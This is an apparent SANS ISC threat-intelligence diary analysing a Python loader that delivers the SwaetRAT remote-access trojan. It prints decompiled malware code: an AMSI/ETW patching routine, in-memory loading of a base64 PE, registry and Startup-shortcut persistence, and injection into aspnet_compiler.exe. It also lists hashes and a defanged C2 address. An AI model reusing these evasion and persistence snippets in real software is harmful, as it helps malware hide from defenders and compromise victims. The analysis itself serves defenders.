SwaetRAT Delivery Through Python

    Published: 2025-01-03. Last Updated: 2025-01-03 06:41:54 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    We entered a new year, but attack scenarios have not changed (yet). I found a Python script with an interesting behavior[1] and a low Virustotal score (7/61). It targets Microsoft Windows hosts because it starts by loading all libraries required to call Microsoft API Calls and manipulate payloads:

    from System.Reflection import Assembly
    from ctypes import windll
    from ctypes import wintypes
    import ctypes

    I have already covered multiple Python scripts that interact with the operating system at the API level. 

    Before handling the next stage, the script performs live patching[2] of interesting API calls to cover its tracks. The first one is pretty common, AmsiScanBuffer(), but it also patches EtwEventWrite()[3] to prevent the creation of events.

    The code (beautified) is the same for both. The very first bytes of the API calls are overwritten to return an expected value:

    if platform.architecture()[0] == '64bit':
        etw_patch = (ctypes.c_char * 4)(0x48, 0x33, 0xc0, 0xc3)
    if platform.architecture()[0] != '64bit':
        etw_patch = (ctypes.c_char * 5)(0x33, 0xc0, 0xc2, 0x14, 0x00)
    pEventWrite = GetProcAddress(GetModuleHandleA(b"ntdll.dll"), b"EtwEventWrite")
    oldprotect = wintypes.DWORD(0)
    VirtualProtect(pEventWrite, ctypes.sizeof(etw_patch), RWX, ctypes.byref(oldprotect))
    RtlMoveMemory(pEventWrite, etw_patch, ctypes.sizeof(etw_patch))
    VirtualProtect(pEventWrite, ctypes.sizeof(etw_patch), oldprotect, ctypes.byref(oldprotect))

    Finally, the script decodes, loads, and invokes the next stage:

    PAYLOAD_DATA = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAA [...string is too long...]"
    assembly = Assembly.Load(base64.b64decode(PAYLOAD_DATA))
    instance = assembly.CreateInstance(assembly.EntryPoint.Name)
    assembly.EntryPoint.Invoke(instance,None)

    You will probably recognize the first bytes of the payload, we are facing a PE file[4].

    remnux@remnux:/MalwareZoo/20250102$ base64dump.py -n 10 stage1.py
    ID  Size    Encoded          Decoded          md5 decoded                     
    --  ----    -------          -------          -----------                     
    1:      16 GetModuleHandleA ..L...xv.vW.     1b7ad174aff72b50b2484077b9fe6e0c
    2:      16 GetModuleHandleA ..L...xv.vW.     1b7ad174aff72b50b2484077b9fe6e0c
    3:      16 GetModuleHandleA ..L...xv.vW.     1b7ad174aff72b50b2484077b9fe6e0c
    4:      16 GetModuleHandleA ..L...xv.vW.     1b7ad174aff72b50b2484077b9fe6e0c
    5:      16 GetModuleHandleA ..L...xv.vW.     1b7ad174aff72b50b2484077b9fe6e0c
    6:  179544 TVqQAAMAAAAEAAAA MZ.............. 0ce61b311f5694e8d3c22ff1729cf805
    remnux@remnux:/MalwareZoo/20250102$ base64dump.py -n 10 stage1.py -s 6 -d | file -
    /dev/stdin: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows

    The executable is a .Net binary that can be easily disassembled (not obfuscated) and reversed.

    First, it copies itself to "%LOCALAPPDATA%\Microsoft\_OneDrive.exe" and checks if it is executed from this directory. This is a nice trick because many sandboxes execute samples always from the same directory eg. C:\Temp.

    If so, it will extract the next stage. It also creates the directory "%LOCALAPPDATA%\Xbox". Persistence is implemented via a registry key and a link file in the Startup folder:

    public static void __PER_v4_() {
        string text = "Software\\STD";
        string text2 = "DDD";
        try {
            RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(text);
            registryKey.SetValue(text2, "\"" + Process.GetCurrentProcess().MainModule.FileName.ToString() + "\"");
            registryKey.Close();
        }
        catch (Exception) { }
        try {
            WshShell wshShell = (WshShell)Activator.CreateInstance(Marshal.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8")));
            if (Program.<>o__0.<>p__0 == null) {
                Program.<>o__0.<>p__0 = CallSite<Func<CallSite, object, IWshShortcut>>.Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(IWshShortcut), typeof(Program)));
            }
            IWshShortcut wshShortcut = Program.<>o__0.<>p__0.Target(Program.<>o__0.<>p__0,     
    wshShell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\Winexe.lnk"));
            wshShortcut.TargetPath = "powershell.exe";
            wshShortcut.Arguments = "Start-Process -FilePath (Get-ItemProperty 'HKCU:" + text + "')." + text2;
            wshShortcut.WindowStyle = 7;
            wshShortcut.Save();
        }
        catch (Exception) { }
    }

    Finally, the next payload is decoded:

    new WebClient();
    string hex = "4D5A90000300000004000000FFFF0000B8000000[...string is too long...]";
    try {
        Thread.Sleep(1500);
    }
    catch { }
    try {
        Program.Run("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe", Program.BA(hex), false);

    The hex variable is decoded using the BA() function:

    public static byte[] BA(string hex) {
        int length = hex.Length;
        byte[] array = new byte[length / 2];
        for (int i = 0; i < length; i += 2) {
            array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
        }
        return array;
    }

    The next stage (SHA256: f8ff16829e8fe1d06126c42c76b2bf48c62a02d1c6426e448e723168ecdf19fc) is the SwaetRAT itself. Another .Net binary, non-obfuscated, you can see the RAT capabilities directly during the disassembly:

    The malware copies itself in another location: "%APPDATA%\CCleaner.exe". The configuration can be easily extracted:

    It's always interesting to perform some threat intelligence and I found interesting relations to this RAT:

    • The sample (f8ff16829e8fe1d06126c42c76b2bf48c62a02d1c6426e448e723168ecdf19fc) has been identified in another campaign[5]
    • The sample has been covered by eSentire[6] in 2023

    The RAT C2 server can be extracted from the payload:

    {
        "c2": [
            "144[.]126[.]149[.]221:7777"
        ],
        "rule": "Swaetrat",
        "family": "swaetrat"
    }
    

    [1] https://www.virustotal.com/gui/file/8693e1c6995ca06b43d44e11495dc24d809579fe8c3c3896e972e2292e4c7abd/details
    [2] https://isc.sans.edu/diary/Live+Patching+DLLs+with+Python/31218
    [3] https://learn.microsoft.com/en-us/windows/win32/devnotes/etweventwrite
    [4] https://isc.sans.edu/diary/Searching+for+Base64encoded+PE+Files/22199
    [5] https://isc.sans.edu/diary/ExelaStealer+Delivered+From+Russia+With+Love/31118
    [6] https://www.esentire.com/blog/phantomcontrol-returns-with-ande-loader-and-swaetrat

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)

      Comments


      Diary Archives